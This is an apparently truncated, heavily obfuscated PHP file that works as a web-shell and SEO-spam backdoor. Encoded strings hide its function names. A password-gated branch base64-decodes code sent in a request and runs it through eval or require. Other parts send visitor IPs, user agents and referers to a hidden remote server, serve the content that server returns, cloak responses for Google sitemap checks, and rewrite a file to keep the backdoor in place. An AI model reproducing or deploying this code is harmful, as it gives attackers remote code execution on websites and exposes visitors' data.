(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x4f\x5f\x5f\x30"]($O_0OO_O_00)) { $O__0_OO00O = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]($O_0OO_O_00); if ($O__0_OO00O && (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x30\x4f\x4f"]($O__0_OO00O) == "%0D%0A" || ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x5f\x30\x4f\x30\x4f\x4f"]($O__0_OO00O) == "%0A")) { break; } unset($O__0_OO00O); } while (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x4f\x5f\x5f\x30"]($O_0OO_O_00)) { $O0__O00O_O = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x30\x4f\x30\x30"]($O_0OO_O_00, 8192); $O0OOO__00_ .= $O0__O00O_O; unset($O0__O00O_O); } } unset($OO__0O_O00); } ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O_0OO_O_00); } else { if (substr($O_0_OO00_O, -1) == 'e') { $OO0_OO_0_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x4f\x5f\x30\x30\x4f"]($OO_00O_0_O); $O_0OO_O_00 = $O_0_OO00_O(AF_INET, SOCK_STREAM, 0); if (socket_connect($O_0OO_O_00, $OO0_OO_0_0, $O0O0O_O__0)) { if (!$O__0O0OO_0) { socket_write($O_0OO_O_00, $O0_O__0O0O, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($O0_O__0O0O)); while ($OO000O__O_ = @socket_read($O_0OO_O_00, 8192)) { $O0OOO__00_ .= $OO000O__O_; unset($OO000O__O_); } $O0OOO__00_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]("\\r\\n\\r\\n", $O0OOO__00_); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x30\x4f\x5f\x5f\x4f"]($O0OOO__00_); $O0OOO__00_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x5f\x5f\x4f\x4f"]("\\r\\n\\r\\n", $O0OOO__00_); } else { $O_00O_OO_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x30\x5f\x4f"](2, 5); $O00_OO_0O_ = 0; while ($O00_OO_0O_ < $O_00O_OO_0) { socket_write($O_0OO_O_00, $O0_O__0O0O, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($O0_O__0O0O)); $O00_OO_0O_++; ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x5f\x30\x4f\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x30\x30\x5f\x4f"](50000, 100000)); } unset($O00_OO_0O_, $O_00O_OO_0); } } socket_close($O_0OO_O_00); unset($OO0_OO_0_0); } } unset($O0_O__0O0O, $O_0_OO00_O, $O_0OO_O_00, $O0O0O_O__0, $OO_00O_0_O); if (!$O__0O0OO_0) { $O0OOO__00_ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x4f\x5f\x30\x4f"]('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)' . '((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'O0O00__O_O', $O0OOO__00_); return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x5f\x5f\x30\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x5f\x5f\x30\x5f\x30"]($O0OOO__00_, "\\xEF\\xBB\\xBF")); } else { return 1; } } function O0O00__O_O($matches) { return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x30\x5f\x4f\x30"]($matches[1]) == ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($matches[2]) ? $matches[2] : $matches[0]; } function O0OO00O___($OO_OO0_00_) { $OO00_O0O__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x4f\x30\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x4f\x4f\x30\x4f\x30"]($OO_OO0_00_)); $O__0OO00_O = substr($OO00_O0O__, 0, 5); $OO_0O0_O0_ = substr($OO00_O0O__, -5); $O0OO0O__0_ = substr($OO00_O0O__, 5, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($OO00_O0O__) - 10); return $O__0OO00_O . 'hT' . substr($OO00_O0O__, 5, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($OO00_O0O__) - 10) . 'tP' . $OO_0O0_O0_; } function OOO00_0_O_($OO_OO0_00_) { $O__0OO00_O = substr($OO_OO0_00_, 0, 5); $OO_0O0_O0_ = substr($OO_OO0_00_, -5); $O0OO0O__0_ = substr($OO_OO0_00_, 7, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($OO_OO0_00_) - 14); return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x4f\x4f\x5f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]($O__0OO00_O . $O0OO0O__0_ . $OO_0O0_O0_)); } function OO0__00OO_($O00_O0_OO_ = '') { if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"})) { if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"])) { $O00_O0_OO_ = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"]; } else if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50"])) { $O00_O0_OO_ = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50"]; } else { $O00_O0_OO_ = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; } } else { if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]('HTTP_X_FORWARDED_FOR')) { $O00_O0_OO_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]('HTTP_X_FORWARDED_FOR'); } else if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]('HTTP_CLIENT_IP')) { $O00_O0_OO_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]('HTTP_CLIENT_IP'); } else { $O00_O0_OO_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x30\x5f\x5f"]('REMOTE_ADDR'); } } return $O00_O0_OO_; } function O_0O0_O0O_($OO_OO0_00_ = '') { if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])) { return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]; } elseif (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])) { return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"]; } return $OO_OO0_00_; } function O_O0O00O__($O__O0_OO00) { $O00O0O_O__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x5f\x30\x5f\x4f\x30"]($O__O0_OO00); $O0_OO_0O0_ = ''; for ($O00_OO_0O_ = 0; $O00_OO_0O_ < ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x4f\x5f\x30"]($O00O0O_O__); $O00_OO_0O_++) { if ($O00_OO_0O_ % 2 != 0) { $O0_OO_0O0_ .= $O00O0O_O__[$O00_OO_0O_]; } } return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]($O0_OO_0O0_); } function O__OO000O_($O0OOO__00_) { $O0OOO__00_ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x5f\x30\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]($O0OOO__00_)); $O0O0_0O__O = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x30\x5f\x4f\x5f"]("/\\|/si", $O0OOO__00_, -1, PREG_SPLIT_NO_EMPTY); if (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x4f\x5f\x30"]($O0O0_0O__O)) { return false; } if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x4f\x5f\x30"]($O0O0_0O__O) < 2) { return false; } $O0OOO__00__array["\x64\x61\x74\x61"] = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x5f\x30\x30\x30"]($O0O0_0O__O); $O0OOO__00__array["\x64\x61\x74\x61"] = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]($O0OOO__00__array["\x64\x61\x74\x61"]); $O0OOO__00__array["\x68\x65\x61\x64\x65\x72\x73"] = $O0O0_0O__O; return $O0OOO__00__array; } function O___O0OO00($O00O___O0O = '') { $OO_O0_O0_0 = OOO00_0_O_('K8pPyuhi8p1iudepKAEA'); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x4f\x5f\x5f\x30\x4f\x5f"]($OO_O0_O0_0)) { @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x5f\x4f\x4f\x4f\x30"]($OO_O0_O0_0); } if ($O00O___O0O == '') { $O00O___O0O = OOO00_0_O_('08soSltUxOTi0nTuBgA='); } $O0OOO__00_ = OOO00_0_O_('lZFLkbc6owEIV/0N3wskqWkJIAKiVBCGRHggYkPGoAEX/95CpTzu7WXaW6q0+f73ROO9JTmDzP2FEyjXOvMjrmii1JS3F17Y6BuvZuxt7bmQuByeJBZ6DQ1A8QCdrWsv96OWn9O43sksJ5fwImzPFDMEUtCxh0J95tUSMGkgZBlqJbDqwqrcoya0y1AJs5d+0ta5w6x9uJwXK+QjFJL+PQSn/3caPaRiF4o6z1QLXg6/jM5rUuCVR7Wr33FLo1Sr42x8Z7l1vMBzzPRBPTOq8zoCo5TEYSfTRMC5Y8tRW2fHoEo76A5rLqxgzzla//8RYXN3z19lFYyZz8rPs1ST2eYcmps0HmmC5hx8N3/c87RZgEVEMqhTGn2KxT3ReF7kuOeMqexj5uEp01QiFxMv3NRCL7RHkfkbSQ/EiEjfMkkXUH4keXRIX08JxNTxskLs784vWBNXrOeEzDX1rNnAiwxEX1nThJnFhFV1SLI4o39jlOTA/sRsL/c976zMdtMki2yQPmm+X19xbHyqMAt/n+K/uXhfbw=='); $O0OOO__00_ = @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]($O0OOO__00_); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x4f\x5f\x5f\x30\x4f\x5f"]($O00O___O0O)) { $O0O_0O0O__ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x30\x4f\x30\x5f\x5f"]($O00O___O0O); if ($O0OOO__00_ == $O0O_0O0O__) { return; } } @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x30\x4f"]($O00O___O0O, 0777); @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x4f\x4f\x5f\x5f"]($O00O___O0O, $O0OOO__00_); @${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x30\x4f"]($O00O___O0O, 0644); } function OO_00OO__0($googleUrl, $O0_00OOO__, $OO00_O_0_O) { $O0O_00__OO = OOO00_0_O_('yygpKIISi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgSMWAwA='); $O_0O0_O_0O = sprintf($O0O_00__OO, $googleUrl, $OO00_O_0_O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $OO00_O_0_O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $O0_00OOO__); $O_00_O0OO_ = O_0O_O0_0O($O_0O0_O_0O); if (isset($_REQUEST["\x73\x74"])) { ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x5f\x30\x4f\x4f"]($O_0O0_O_0O); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x5f\x30\x4f\x4f"]($O_00_O0OO_); die(); } $O__0O_O0O0 = OOO00_0_O_('S8/PTFu89fGJBQA='); $O0__O_0O0O = OOO00_0_O_('Ky5NTInk4fWtLgYA'); $OOO__0O00_ = OOO00_0_O_('S0vMzFvElfGNAQA='); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O_00_O0OO_, $O__0O_O0O0) != false) { die($O0__O_0O0O); } else { $O0O_00__OO = OOO00_0_O_('yygpKgQbDS11ct1i/IzEu3L84sSc1NLLBVLQaKqBYJjDAA=='); $O_0O0_O_0O = sprintf($O0O_00__OO, $googleUrl, $OO00_O_0_O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $OO00_O_0_O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $O0_00OOO__); $O_00_O0OO_ = O_0O_O0_0O($O_0O0_O_0O); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O_00_O0OO_, $O__0O_O0O0) != false) { die($O0__O_0O0O); } die($OOO__0O00_); } } function O_O_O_000O($O__O0_OO00) { $OO00_O_0_O = array(); $OO00_O_0_O["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"] = $O__O0_OO00; $OO00_O_0_O["\x61\x70\x69"] = O_O0O00O__($OO00_O_0_O["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]); $OO00_O_0_O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"] = O_0O0_O0O_(); $OO00_O_0_O["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"]; $OO00_O_0_O["\x72\x65\x66\x65\x72\x65\x72"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"] : ''; $OO00_O_0_O["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"] : ''; $OO00_O_0_O["\x69\x70"] = OO0__00OO_(); if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"])) { $OO00_O_0_O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = OOO00_0_O_('yygpKnSSi20tcbVHAA=='); } else { $OO00_O_0_O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = OOO00_0_O_('yygpKtXbDiJS1wcA'); } if (isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"])) { $OO00_O_0_O["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"]; } else { $OO00_O_0_O["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = ""; } if (isset($_REQUEST["\x70\x61\x72\x61\x6d\x73"])) { $O00OO0_O__ = OOO00_0_O_('c87PKGD0nNK9EtqSxItUosKMjJTE4syczP088qzs8vBDAA=='); header($O00OO0_O__); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x4f\x30\x30\x5f"]('json_encode')) { echo ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]($OO00_O_0_O); } else { ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x4f\x30\x30\x5f"]($OO00_O_0_O); } die(); } if (isset($_REQUEST["\x64\x5f\x74\x69\x6d\x65"])) { die('2023/11/4'); } if (isset($_REQUEST["\x70\x77\x64\x31\x36\x33"])) { if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x5f\x30\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x5f\x5f\x30\x5f\x30"]($_REQUEST["\x70\x77\x64\x31\x36\x33"])) == "b0d329a182379341f77dde16dc7f066a") { $O_O0O_0O0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f"]((${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x5f\x30\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x4f\x30\x30"]($_REQUEST["\x7a\x7a\x7a"]))))); $O__0OOO0_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]("PD9waHA="); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30\x5f"]($O_O0O_0O0_, $O__0OOO0_0) === false) { $O_O0O_0O0_ = $O__0OOO0_0 . PHP_EOL . $O_O0O_0O0_; } if (isset($_REQUEST["\x65"])) { $O_O0O_0O0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x30\x4f\x5f\x5f\x4f"]($O__0OOO0_0, "", $O_O0O_0O0_); $O_0_OO00_O = 'e' . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x4f\x30\x30\x5f"]("dmE=") . 'l'; $O_0_OO00_O($O_O0O_0O0_); die(); } $O0O__O0O0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x5f\x4f\x30\x4f"](); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f\x4f"]($O0O__O0O0_, $O_O0O_0O0_); $O00O_O_O0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x30\x30\x5f\x5f\x5f"]($O0O__O0O0_); @require($O00O_O_O0_["\x75\x72\x69"]); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f"]($O0O__O0O0_); die(); } if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x5f\x30\x4f\x5f"]($_REQUEST["\x70\x77\x64\x31\x36\x33"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") { if (isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])) { $O0_00OOO__ = ${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"]; $OOO_0_0O_0 = OOO00_0_O_('Ky8v1Ie0vPz0/PSdVLzs8fHFAA=='); if (isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])) { $OOO_0_0O_0 = ${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"]; } OO_00OO__0($OOO_0_0O_0, $O0_00OOO__, $OO00_O_0_O); } } } O___O0OO00(); $O0_O_O_00O = array('domain' => $OO00_O_0_O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], 'request_url' => $OO00_O_0_O["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"], 'ip' => $OO00_O_0_O["\x69\x70"], 'agent' => $OO00_O_0_O["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"], 'referer' => $OO00_O_0_O["\x72\x65\x66\x65\x72\x65\x72"], 'protocol' => $OO00_O_0_O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], 'language' => $OO00_O_0_O["\x6c\x61\x6e\x67\x75\x61\x67\x65"]); $O0OOO__00_ = O_0O_O0_0O($OO00_O_0_O["\x61\x70\x69"], 0, 2, $O0_O_O_00O, array(), $OO00_O_0_O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]); if (isset($_REQUEST["\x64\x75\x6d\x70"])) { ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x5f\x30\x4f\x4f"]($O0OOO__00_); $O0OOO__00_ = O_0O_O0_0O("http://google.co.jp"); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x5f\x30\x4f\x4f"]($O0OOO__00_); die(); } $O0__O00O_O = O__OO000O_($O0OOO__00_); if ($O0__O00O_O !== false) { foreach ($O0__O00O_O["\x68\x65\x61\x64\x65\x72\x73"] as $O00OO0_O__) { @header($O00OO0_O__); } echo $O0__O00O_O["\x64\x61\x74\x61"]; die(); } } O_O_O_000O($O__O0_OO00); ?>
<?php $O_OO0O0_0_ = "oA-bNnK7L5_JUtRxIY+WCa93Vk0wM1OeSDdB2j/lsXfqphm*TGvQHrPyc\\4zuF6iZg8E"; $O000OO___O = "stream_context_create"; $O0O_0_O_0O = "preg_replace_callback"; $OO00_0OO__ = "stream_socket_client"; $O0OOO00___ = "stream_get_meta_data"; $O_0_OO_0O0 = "stream_set_blocking"; $OOO___0O00 = "stream_set_timeout"; $O0_O00OO__ = "file_put_contents"; $O0_OO0O0__ = "file_get_contents"; $OO0O0__0O_ = "http_build_query"; $OO__O0O00_ = "function_exists"; $OO__0O_00O = "gethostbyname"; $O0__0_O0OO = "base64_encode"; $OO0O__O00_ = "base64_decode"; $O_0__0O0OO = "rawurlencode"; $OO_000_O_O = "rawurldecode"; $O_0O__0OO0 = "gzuncompress"; $O00O_0O__O = "str_replace"; $OO0O___0O0 = "json_encode"; $O00OO__0O_ = "file_exists"; $O0OO__O0_0 = "curl_setopt"; $O_O000O__O = "array_shift"; $OO0_O00_O_ = "preg_split"; $OO_OO_0_00 = "preg_match"; $O_0O0OO__0 = "curl_error"; $OOO00__O0_ = "curl_close"; $O0O_0__0OO = "urlencode"; $OO0_O__O00 = "urldecode"; $OOO0__0_O0 = "str_split"; $O_00_O_0OO = "parse_url"; $O0__0OO_O0 = "gzinflate"; $O___0OO0O0 = "gzdeflate"; $O_O_0_O00O = "curl_init"; $O__OO_00O0 = "curl_exec"; $O_OO_O_000 = "array_pop"; $O00__O_0OO = "var_dump"; $OO_O00_O_0 = "is_array"; $OO_00__O0O = "tmpfile"; $O_OO0_O00_ = "print_r"; $O_OO_000_O = "mt_rand"; $O0O00___OO = "implode"; $O_O00O0O__ = "explode"; $O0_0O_0OO_ = "usleep"; $O0__0_OOO0 = "unlink"; $OO_O_00O0_ = "strpos"; $OOO0_O_0_0 = "strlen"; $O_OO0_0_O0 = "hexdec"; $O0OO0O_0__ = "getenv"; $OO_O00_0_O = "fwrite"; $O0_0_O_O0O = "fclose"; $OO__O_0O00 = "fread"; $OO__O_O000 = "fgets"; $O_O_O00O_0 = "count"; $O0O__0_O0O = "chmod"; $O0OOO__0_0 = "trim"; $O0O_O0O0__ = "join"; $OO_O00O__0 = "feof"; $OOO_00_0O_ = "md5"; $O__O0_OO00 = "VasHjRf0bcODDoivDLczkUhysNtDyIAtnYP2pgf0TLqXQYp3OOBCX5dytZLXNBOvLcD2VFzsYZJWa1jrwLzmRxFpRZrmFUM="; function O_0O_O0_0O($url, $O__0O0OO_0 = 0, $OOO00O__0_ = 1, $OOO_O00__0 = NULL, $OO00O_0__O = array(), $O0_O0_0O_O = "s") { if (!preg_match("/^https*\\:\\/\\//si", $url)) { if (isset($_GET["urlerr"])) { $O00O__0O_O = OOO00_0_O_('iy4tyomkktKsovilXIzCtLzMlMUQCKWKnlJRUQDXWAMA'); $O00O__0O_O .= $url; echo $O00O__0O_O; unset($O00O__0O_O); exit; } return ''; } $O_O0O_0O0_ = OOO00_0_O_('Sy4tyEdonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtlSJakA'); $O_0_OO00_O = $O0_O__0O0O = ''; foreach (explode('|', $O_O0O_0O0_) as $c) { $O0_O_O0_0O = 1; if ($O__0O0OO_0 && substr($c, 0, 1) == 'c') { continue; } foreach (explode('+', $c) as $d) { if (!function_exists($d)) { $O0_O_O0_0O = 0; } } unset($d); if ($O0_O_O0_0O) { $O_0_OO00_O = $c; break; } } unset($O_O0O_0O0_, $c); if ($O_0_OO00_O == '') { return 0; } if (substr($O_0_OO00_O, 0, 1) == 'c') { $O0O___OO00 = false; if ($OOO00O__0_ == 2) { if (is_array($OOO_O00__0)) { $OOO0__O0_0 = array('http' => array('method' => "POST", 'header' => "Content-Type:application/x-www-form-urlencoded", 'content' => http_build_query($OOO_O00__0))); $OOO0_O_00_ = stream_context_create($OOO0__O0_0); $O0O___OO00 = file_get_contents($url, false, $OOO0_O_00_); } } else { $O0O___OO00 = file_get_contents($url); } if ($O0O___OO00) { return $O0O___OO00; } $O00O_OO_0_ = curl_init(); curl_setopt($O00O_OO_0_, CURLOPT_URL, $url); curl_setopt($O00O_OO_0_, CURLOPT_USERAGENT, $O0_O0_0O_O); curl_setopt($O00O_OO_0_, CURLOPT_RETURNTRANSFER, 1); curl_setopt($O00O_OO_0_, CURLOPT_TIMEOUT, 100); curl_setopt($O00O_OO_0_, CURLOPT_FRESH_CONNECT, TRUE); if ($OOO00O__0_ == 2) { curl_setopt($O00O_OO_0_, CURLOPT_POST, 1); if (is_array($OOO_O00__0)) { curl_setopt($O00O_OO_0_, CURLOPT_POSTFIELDS, http_build_query($OOO_O00__0)); } } $O0O___OO00 = curl_exec($O00O_OO_0_); 